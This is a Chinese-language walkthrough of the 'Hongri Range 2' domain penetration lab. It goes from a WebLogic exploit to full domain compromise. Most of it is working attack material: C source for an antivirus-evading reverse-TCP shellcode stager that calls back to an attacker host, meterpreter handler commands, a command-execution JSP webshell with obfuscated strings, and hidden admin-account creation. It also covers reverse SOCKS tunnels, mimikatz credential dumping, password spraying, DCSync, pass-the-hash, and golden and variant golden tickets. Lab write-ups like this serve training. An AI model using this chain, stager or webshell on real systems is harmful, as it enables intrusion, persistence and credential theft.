红日靶场二笔记

红日靶场二的流程笔记

文章说明

环境说明:

  1. 环境搭建部分不介绍
  2. 在打靶场前我已经在这个靶场做过很多攻击测试,在某些地方可能会和原版靶场不同
  3. 因为环境不同,可能某些攻击无法在原本靶场复现

网络配置:

  1. 10.10.10.xxx(不可访问外网):DC、PC、WEB
  2. 192.168.12.xxx(可访问外网):PC、WEB

Web 主机端口与漏洞

使用 Nmap 扫描网段发现存活的主机:

1
nmap 10.10.10.130/24 -oA nmapscan/duan

Nmap 扫描

存活10.10.10.11,开放80,135,139,445,1433,3389,7001等端口,Nmap 做一下漏洞扫描:

1
nmap 10.10.10.11 --script=vuln -p 80,135,139,445,1433,3389,7001

Nmap 扫描

发现 ms12-020(蓝屏攻击)、ms17-010 等漏洞,但都无法利用,ms17-010 可能需要有效的用户名和凭据,接下来以 Web 为入口点尝试,通过目录扫描在 7001 发现 WebLogic 管理服务:

1
http://10.10.10.11:7001/console/login/LoginForm.jsp

使用 WeblogicTool_1.2 进行漏洞检查和利用,发现存在 CVE_2020_2551_ECHO,注入哥斯拉内存马,使用哥斯拉连接,拿到 Shell

WeblogicTool_1.2 进行漏洞检查和利用

WeblogicTool_1.2 进行漏洞检查和利用

哥斯拉连接内存马

哥斯拉连接内存马

Web 主机信息收集与渗透

收集一些信息,发现:存在域de1ay.com,本主机名web.de1ay.com,存在两个网卡,192.168.12.16110.10.10.11,直接上传 cs、msf 的木马,发现不能上线,被数字卫士拦截,用一个 MSF 免杀程序来测试,以下为源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void main() {
WSADATA ws_Data;
WSAStartup(MAKEWORD(2, 2), &ws_Data);

SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN sock_info = { 0 };
sock_info.sin_family = AF_INET;
sock_info.sin_addr.S_un.S_addr = inet_addr("192.168.12.135");
sock_info.sin_port = htons(9999);
connect(sock, (SOCKADDR*)&sock_info, sizeof(SOCKADDR_IN));

DWORD recvSize;
recv(sock, (char*)&recvSize, sizeof(DWORD), 0);
PBYTE recbuf = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, recvSize);
DWORD recvSize2 = recvSize;
PBYTE recbuf2 = recbuf;

DWORD i = 1;
while (i > 0 && recvSize > 0) {
i = recv(sock, (char*)recbuf, recvSize, 0);
// 越过第一次接收的数据
recbuf = recbuf + i;
recvSize = recvSize - i;
}

VirtualProtect(recbuf2, recvSize2, PAGE_EXECUTE_READWRITE, &recvSize);
__asm__ __volatile__ (
"movl %0, %%edi \n\t"
"jmp *%1 \n\t"
:
: "r"(sock), "r"(recbuf2)
: "%edi"
);
}

详见:MSF 上线探究与免杀,但注意上传的目录不对的话会在运行时直接被数字卫士拦截,这里选择C:/Users/de1ay/Desktop/,在 MSF 开启监听:

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 9999
set LHOST 192.168.12.135
exploit

在哥斯拉使用以下命令执行木马:

1
start update.exe

上线 MSF

上线 MSF

成功上线 MSF,但需要尽快迁移进程:

1
2
3
4
5
6
# 查看进程
ps
# 查看 msf 获取 shell 的进程号
getpid
# 迁移进程、512 为 vmtoolsd,较为稳定
migrate 512

迁移进程

如果想派生到 CS,可以先在 CS 上建立一个反向 HTTP 监听,然后执行下面的命令:

1
2
3
4
5
6
7
8
9
bg
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.12.135
set lport 4446
set DisablePayloadHandler True
set PrependMigrate True
set session 1
exploit

派生到 CS

派生到 CS

派生到 CS

就成功上线 CS 了,在 CS 也需要迁移进程,可以使用 CS 进行 Hash 的抓取:

Hash 的抓取

1
2
3
4
hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# de1ay:1000:aad3b435b51404eeaad3b435b51404ee:01c234eb550fca678d3cbf91628c9d2f:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

同时可以进行内网的主机存活探测

主机存活探测

这里没有开启另一台靶机,所以只有两个,因为我们已经是 SYSTEM 权限,所以无需提权,在做权限维持新建用户的时候被数字卫士拦截,于是想着去关闭数字卫士,使用的方法是通过远控软件进行关闭,这里选择的是 ToDesk,下载地址:https://www.todesk.com/download.html,将下载的 ToDesk 上传至靶机的桌面:

ToDesk 上传至靶机的桌面

接着运行下面的命令静默安装:

1
shell C:\Users\de1ay\Desktop\ToDesk_4.7.2.0_xp.exe /S

在靶机上查是否存在以下目录来确定是否安装成功:

确定是否安装成功

安装完成后应该会自动启动,若在进程列表里没有找到尝试手动启动,但可能会被数字卫士拦截:

进程列表是否存在 ToDesk

抱着模拟真实渗透场景的原则,我们不能直接在靶机上查看 ToDesk 的设备代码和密码,我们需要在下面的文件里读取:

配置文件

将文件下载,文件部分内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[ConfigInfo]
passUpdate=3
PrivateScreenLockScreen=1
autoLockScreen=0
downloadtimes=202310190
clientId=211237490
PrivateData=93895f59c6346def400fd3292435acdd7ad9d89a9005c91a801d445991abdcd9c1ef
33ef0ef41248349649f1a40f34465deb0f60e255122fcb
PluginExpiresDays=0
Resolution=1920x1080
isOpenTempPass=1
updatePassTime=20231019192542
language=936
isAdmissionControl=1
WeakPasswordTip=0
Version=4.7.2.0
isUpdate=0
tempAuthPassEx=c132c740215bf6b2e5e5cec82aa1572b739398c7f142fe7335fb3769481b035df
8af48bc411d97ae450f0540dd4eaf69131bce730b7e9803
PresetDialogUpdateDate=2023-10-19
PresetDialogShowCount=0
UpdateFrequencyPromptBubble=0

我们可以轻易拿到设备代码为clientId=211237490,密码则需要我们把这些配置复制到我们本地的 ToDesk 配置文件中,我们再次启动本地的 ToDesk 时,本地的密码就是靶机的 ToDesk 密码,尝试连接:

ToDesk 连接

关闭数字卫士,新建一个管理员用户:

1
2
net user hacker$ hacker###666 /add
net localgroup Administrators hacker$ /add

作为权限维持的一个方式,RDP 连接上去:

RDP 连接

可以再写一个 WebShell 作为权限维持的手段,如下:

1
2
3
4
5
6
7
8
9
# 把 shell 写到控制台 images 目录中
\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp
# 写到 uddiexplorer 目录中
\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
http://*.*.*.*:7001/uddiexplorer/shell.jsp
# 在应用安装目录中
\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
http://*.*.*.*:7001/项目名/shell.jsp

这里我选择的是第一种方式,下面是一个 Shell 的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD="POST" NAME="form" ACTION="#">
<INPUT TYPE="text" NAME="q">
<INPUT TYPE="submit" VALUE="Fly">
</FORM>

<%
String op="Got Nothing";
String query = request.getParameter("q");
String fileSeparator = String.valueOf(java.io.File.separatorChar);
Boolean isWin;
if(fileSeparator.equals("\\")){
isWin = true;
}else{
isWin = false;
}

if (query != null) {
ProcessBuilder pb;
if(isWin) {
pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
}else{
pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
}
Process process = pb.start();
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
}
%>

<PRE>
<%= op %>>
</PRE>
</BODY>
</HTML>

在实际中上面的代码也许需要修改,以满足隐蔽和加密的需求,接下来搭一个直通内网的代理,这里使用 EW 来搭建 Socks 隧道:

1
2
3
4
# Linux 靶机上运行
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
# Windows 靶机上运行
ew_for_Win -s rssocks -d 192.168.12.135 -e 8888

在 Kali 添加以下 dns 解析,为下文做准备:

1
2
3
4
10.10.10.10	dc.de1ay.com
10.10.10.13 pc2.de1ay.com
10.10.10.11 web.de1ay.com
10.10.10.12 pc.de1ay.com

配置 Proxychains,编辑vim /etc/proxychains4.conf

1
2
3
4
5
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080

接下来使用 Nmap 扫描内网:

1
proxychains nmap 10.10.10.1/24

可以扫描,不过速度慢的可怜,这里使用 Proxifier 在 Windows 上扫描:

1
nmap -sT -Pn 10.10.10.10,11,12

使用 TCP 扫描,禁用 Ping:

Nmap 扫描

但扫描速度还是比较慢,这里直接将扫描器扔到靶机里去扫描,这里使用 fscan:

1
fscan64.exe -h 10.10.10.1/24

fscan 扫描

这几个 MS17010 不准备去打,接下来上传 Mimikatz,使用下面的命令抓取明文密码:

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > test.txt

得到几个关键的密码:

1
2
DE1AY\mssql	1qaz@WSX
WEB\de1ay QWER!@#123

得到了一个域账户和一个本地账户和相应的密码

域内横移

现在我们已经知道域内有三台机器,10.10.10.10是域控,我们拿下了 2008,还剩一台 Win7 和一台 2012 域控,既然有了有效的凭证,我们要使用这些凭证去横移,本应该去枚举域内的用户,这里有了有效的域账户,所以直接去查询,使用 PowerSploit 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 导入脚本
Import-Module .\Recon.psd1
# 设置凭证
$uname="de1ay\mssql"
$pwd=ConvertTo-SecureString "1qaz@WSX" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
# 查找域用户
Get-DomainUser -Credential $cred | findstr samaccountname
# 导出 Domain Admins 组
Get-DomainGroupMember -identity "Domain Admins" -Domain de1ay.com -DomainController 10.10.10.10 -Credential $cred | findstr MemberName
# 导出 Administrators 组
Get-DomainGroupMember -identity "Administrators" -Domain de1ay.com -DomainController 10.10.10.10 -Credential $cred | findstr MemberName
# 远程桌面管理组的成员
Get-DomainGroupMember -identity "Remote Desktop Users" -Domain de1ay.com -DomainController 10.10.10.10 -Credential $cred | findstr MemberName

寻找域成员

寻找域成员

筛选出以下几个账户

筛选的几个账户

尝试使用密码喷洒横移到这几个账户,这里使用 Kerbrute 来进行密码喷洒:

1
2
kerbrute_windows_amd64.exe passwordspray --dc 10.10.10.10 -d de1ay.com .\User.txt 1qaz@WSX
kerbrute_windows_amd64.exe passwordspray --dc 10.10.10.10 -d de1ay.com .\User.txt QWER!@#123

密码喷洒

可以看到成功测试出来了很多的账户,其中包括域管理员用户Administrator@de1ay.com:QWER!@#123,我们可以尝试使用这个凭证借助之前搭建的 Socks 代理去连接域控和另一台 Win7:

rdp 到域控

连接成功,同样做一下权限维持:

1
2
net user hacker$ hacker###666 /add
net localgroup Administrators hacker$ /add

权限维持

对于 Win7 我们也可以使用这个账号密码进行登录,上传 Mimikatz 抓一下凭证:

1
mimikatz.exe "lsadump::dcsync /domain:de1ay.com /all /csv" "exit" > out.txt

dcsync

有时候不想登录 DC,也可以导出域内哈希,这里使用 impacket 下的脚本:

1
proxychains secretsdump.py de1ay/administrator:QWER\!@#123@10.10.10.10 -dc-ip 10.10.10.10 -just-dc-user krbtgt

dcsync

和上面的结果相同,接下来是 Win7,RDP 肯定可以访问,这里换一种方法,获取一个交互式的 Shell,使用 psexec:

1
proxychains psexec.py administrator@10.10.10.12 -hashes :01c234eb550fca678d3cbf91628c9d2f

psexec

如果用户登录,数字卫士启动可能会导致失败,或者使用 wmiexec,不会上传文件:

1
proxychains wmiexec.py administrator@10.10.10.12 -hashes :01c234eb550fca678d3cbf91628c9d2f

wmi

可绕过数字卫士,用一样的方法,ToDesk 上线:

1
2
3
4
5
6
7
8
# 上传 ToDesk
lput /home/paoka/Temp/hongri/todesk/ToDesk_Setup.exe C:\Users\de1ay\Desktop
# 静默安装
start C:\Users\de1ay\Desktop\ToDesk_Setup.exe /S
# 查看是否成功
dir "C:\Program Files\ToDesk"
# 读取密码文件
type "C:\Program Files\ToDesk\config.ini"

todesk

更换本地文件,连接!

连接!

关掉数字卫士,做权限维持:

1
2
net user hacker$ hacker###666 /add
net localgroup Administrators hacker$ /add

上传 Mimikatz,读取凭证:

1
mimikatz "privilege::debug" "token::elevate" "lsadump::sam" "exit" > pass.txt

读取凭证

到此,三台靶机全部拿下!

域内权限维持

拿到域后,可以在域内做权限维持,首先来制作黄金票据(白银票据类似):

1
2
3
4
5
6
7
# 制作黄金票据
ticketer.py -nthash 82dfc71b72a11ef37d663047bc2088fb -domain-sid S-1-5-21-2756371121-2868759905-3853650604 -domain de1ay.com administrator
export KRB5CCNAME=administrator.ccache
# 利用黄金票据
proxychains wmiexec.py de1ay.com/administrator@web -k -no-pass
proxychains wmiexec.py de1ay.com/administrator@pc -k -no-pass
proxychains wmiexec.py de1ay.com/administrator@dc -k -no-pass

黄金票据

这样就做好了黄金票据,接下来可以尝试打造变种的黄金票据,以下为简介:

当拿到域控后,需要做权限维持,假设服务 B 为 krbtgt,服务 A 为我们控制的一个账号。配置服务 A 到服务 B 的基于资源的约束性委派, 那么我们控制的账户就可以获取 KDC(Key Distribution Centre)服务的 ST 服务票据(也就是 TGT 认购权证)。于是我们就可以伪造任何权限用户的 TGT 认购权证,就相当于打造了一个变种的黄金票据

详细可参考:利用基于资源的约束性委派打造变种黄金票据,这是基于资源的约束性委派,还有约束性委派的例子:利用 Kerberos delegation 打造变种黄金票据,利用 Powermad.ps1 脚本新建一个密码为 gttest 的机器账号,密码为 123456:

1
2
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount gttest -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

再配置 gttest 到 krbtgt 的基于资源的约束性委派(需要域管权限):

1
2
3
4
# 配置
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount gttest$
# 查询
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

配置完成后,不管域管用户密码如何改变,我们都对该域有完全的控制权限:

1
2
3
4
proxychains getST.py -dc-ip 10.10.10.10 -spn krbtgt -impersonate administrator de1ay.com/gttest\$:123456
export KRB5CCNAME=administrator.ccache
# set KRB5CCNAME=administrator.ccache
proxychains smbexec.py -no-pass -k administrator@dc.de1ay.com -dc-ip 10.10.10.10

变种黄金票据

如上图,可以在域控执行命令,这种方法相对于传统的黄金票据动作稍微有点大